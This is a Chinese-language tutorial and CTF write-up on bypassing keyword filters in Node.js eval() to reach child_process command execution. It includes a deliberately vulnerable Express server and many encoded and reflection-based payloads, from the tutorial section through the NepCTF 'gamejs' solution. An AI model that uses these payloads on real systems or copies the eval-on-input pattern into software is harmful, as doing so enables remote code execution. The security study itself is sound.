在php中,eval代码执行是一个已经被玩烂了的话题,各种奇技淫巧用在php代码执行中来实现bypass。这篇文章主要讲一下nodejs中bypass的一些思路。

1. child_process

首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件,这里列一下除fork外其他函数的用法。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函数其实底层具体就是调用spawn,有兴趣的可以跟进源码看一下

const child = spawn(file, args, {
  cwd: options.cwd,
  env: options.env,
  gid: options.gid,
  uid: options.uid,
  shell: options.shell,
  windowsHide: !!options.windowsHide,
  windowsVerbatimArguments: !!options.windowsVerbatimArguments
});

2. nodejs中的命令执行

为了演示代码执行,我写一个最简化的服务端,代码如下

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
    code = req.body.code;
    console.log(code);
    res.send(eval(code));
})

app.listen(3000)

原理很简单,就是接受post方式传过来的code参数,然后返回eval(code)的结果。

在nodejs中,同样是使用eval()函数来执行代码,针对上文提到rce函数,首先就可以得到如下利用代码执行来rce的代码。

以下的命令执行都用curl本地端口的方式来执行

eval('require("child_process").execSync("curl 127.0.0.1:1234")')

这是最简单的代码执行情况,当然一般情况下,开发者在用eval而且层层调用有可能接受用户输入的点,并不会简单的让用户输入直接进入,而是会做一些过滤。譬如,如果过滤了exec关键字,该如何绕过?

当然实际不会这么简单,本文只是谈谈思路,具体可以根据实际过滤的关键字变通

下面是微改后的服务端代码,加了个正则检测exec关键字

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

function validcode(input) {
  var re = new RegExp("exec");
  return re.test(input);
}

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (validcode(code)) {
    res.send("forbidden!")
  } else {
    res.send(eval(code));
  }
})

app.listen(3000)

这就有6种思路:

  • 16进制编码
  • unicode编码
  • 加号拼接
  • 模板字符串
  • concat函数连接
  • base64编码

2.1 16进制编码

第一种思路是16进制编码,原因是在nodejs中,如果在字符串内用16进制,和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。

console.log("a"==="\x61");
// true

但是在上面正则匹配的时候,16进制却不会转化成字符,所以就可以绕过正则的校验。所以可以传

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

2.2 unicode编码

思路跟上面是类似的,由于JavaScript允许直接用码点表示Unicode字符,写法是”反斜杠 u 码点”,所以我们也可以用一个字符的unicode形式来代替对应字符。

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

2.3 加号拼接

原理很简单,加号在js中可以用来连接字符,所以可以这样

require('child_process')['exe' 'cSync']('curl 127.0.0.1:1234')

2.4 模板字符串

相关内容可以参考MDN,这里给出一个payload

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

2.5 concat连接

利用js中的concat函数连接字符串

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

2.6 base64编码

这种应该是比较常规的思路了。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

3. 其他bypass方式

这一块主要是换个思路,上面提到的几种方法,最终思路都是通过编码或者拼接得到exec这个关键字,这一块考虑js的一些语法和内置函数。

3.1 Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

3.2 Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

拿到eval之后,就可以常规思路rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里虽然有可能被检测到的关键字,但由于mainModule、global、child_process等关键字都在字符串里,可以利用上面提到的方法编码,譬如16进制。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

这里还有个小trick,如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

3.3 过滤中括号的情况

在3.2中,获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。

所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

4. NepCTF-gamejs

这个题目第一步是一个原型链污染,第二步是一个eval的命令执行,因为本文主要探讨一下eval的bypass方式,所以去掉原型链污染,只谈后半段bypass,代码简化后如下:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

var validCode = function (func_code){
  let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\ |\*/ig;
  return !validInput.test(func_code);
};

app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {
  code = req.body.code;
  console.log(code);
  if (!validCode(code)) {
    res.send("forbidden!")
  } else {
    var d = '('   code   ')';
    res.send(eval(d));
  }
})

app.listen(3000)

由于关键字过滤掉了单双引号,这里可以全部换成反引号。没有过滤掉Reflect,考虑用反射调用函数实现RCE。利用上面提到的几点,逐步构造一个非预期的payload。首先,由于过滤了child_process还有require关键字,我想到的是base64编码一下再执行

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

这里过滤了base64,可以直接换成

`base`.concat(64)


过滤掉了Buffer,可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通过下标

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

所以基本payload变成

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

在能拿到Buffer.from的情况下,用16进制编码也一样.

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toString())

当然,由于前面提到的16进制和字符串的特性,也可以拿到eval后直接传16进制字符串

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

感觉nodejs中对字符串的处理方式太灵活了,如果能eval的地方,最好还是不要用字符串黑名单做过滤吧。

感谢我前端大哥semesse的帮助 

参考链接

https://xz.aliyun.com/t/9167
https://camp.hackingfor.fun/

总结

到此这篇关于nodejs代码执行绕过的一些技巧汇总的文章就介绍到这了,更多相关nodejs代码执行绕过内容请搜索Devmax以前的文章或继续浏览下面的相关文章希望大家以后多多支持Devmax!

nodejs代码执行绕过的一些技巧汇总的更多相关文章

  1. nodejs npm package.json中文文档

    这篇文章主要介绍了nodejs npm package.json中文文档,本文档中描述的很多行为都受npm-config(7)的影响,需要的朋友可以参考下

  2. 浅析Nodejs npm常用命令

    这篇文章主要介绍了浅析Nodejs npm常用命令的相关资料,非常不错,具有参考借鉴价值,需要的朋友可以参考下

  3. nodejs 使用nodejs-websocket模块实现点对点实时通讯

    这篇文章主要介绍了nodejs 使用nodejs-websocket模块实现点对点实时通讯的实例代码,代码简单易懂,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下

  4. nodeJs链接Mysql做增删改查的简单操作

    本篇文章主要介绍了nodeJs链接Mysql做增删改查的简单操作,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

  5. Nodejs中使用captchapng模块生成图片验证码

    本篇文章主要介绍了Nodejs中使用captchapng模块实现图片验证码,非常具有实用价值,需要的朋友可以参考下

  6. nodejs 图片预览和上传的示例代码

    本篇文章主要介绍了nodejs 图片预览和上传的示例代码,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

  7. nodejs中函数的调用实例详解

    本文通过实例代码给大家介绍了nodejs函数的调用,代码简单易懂,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下

  8. Javascript代码在页面加载时的执行顺序介绍

    Javascript代码在页面加载时的执行顺序介绍,需要的朋友可以参考一下

  9. NodeJS使用formidable实现文件上传

    这篇文章主要为大家详细介绍了NodeJS使用formidable实现文件上传的相关方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

  10. Nodejs获取网络数据并生成Excel表格

    这篇文章主要为大家详细介绍了Nodejs获取网络数据并生成Excel表格的具体实现方法,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下

随机推荐

  1. Error: Cannot find module ‘node:util‘问题解决

    控制台 安装 Vue-Cli 最后一步出现 Error: Cannot find module 'node:util' 问题解决方案1.问题C:\Windows\System32>cnpm install -g @vue/cli@4.0.3internal/modules/cjs/loader.js:638 throw err; &nbs

  2. yarn的安装和使用(全网最详细)

    一、yarn的简介:Yarn是facebook发布的一款取代npm的包管理工具。二、yarn的特点:速度超快。Yarn 缓存了每个下载过的包,所以再次使用时无需重复下载。 同时利用并行下载以最大化资源利用率,因此安装速度更快。超级安全。在执行代码之前,Yarn 会通过算法校验每个安装包的完整性。超级可靠。使用详细、简洁的锁文件格式和明确的安装算法,Yarn 能够保证在不同系统上无差异的工作。三、y

  3. 前端环境 本机可切换node多版本 问题源头是node使用的高版本

    前言投降投降 重头再来 重装环境 也就分分钟的事 偏要折腾 这下好了1天了 还没折腾出来问题的源头是node 使用的高版本 方案那就用 本机可切换多版本最终问题是因为nodejs的版本太高,导致的node-sass不兼容问题,我的node是v16.14.0的版本,项目中用了"node-sass": "^4.7.2"版本,无法匹配当前的node版本根据文章的提

  4. nodejs模块学习之connect解析

    这篇文章主要介绍了nodejs模块学习之connect解析,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

  5. nodejs npm package.json中文文档

    这篇文章主要介绍了nodejs npm package.json中文文档,本文档中描述的很多行为都受npm-config(7)的影响,需要的朋友可以参考下

  6. 详解koa2学习中使用 async 、await、promise解决异步的问题

    这篇文章主要介绍了详解koa2学习中使用 async 、await、promise解决异步的问题,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧

  7. Node.js编写爬虫的基本思路及抓取百度图片的实例分享

    这篇文章主要介绍了Node.js编写爬虫的基本思路及抓取百度图片的实例分享,其中作者提到了需要特别注意GBK转码的转码问题,需要的朋友可以参考下

  8. CentOS 8.2服务器上安装最新版Node.js的方法

    这篇文章主要介绍了CentOS 8.2服务器上安装最新版Node.js的方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

  9. node.js三个步骤实现一个服务器及Express包使用

    这篇文章主要介绍了node.js三个步骤实现一个服务器及Express包使用,文章通过新建一个文件展开全文内容,具有一定的参考价值,需要的小伙伴可以参考一下

  10. node下使用UglifyJS压缩合并JS文件的方法

    下面小编就为大家分享一篇node下使用UglifyJS压缩合并JS文件的方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧

返回
顶部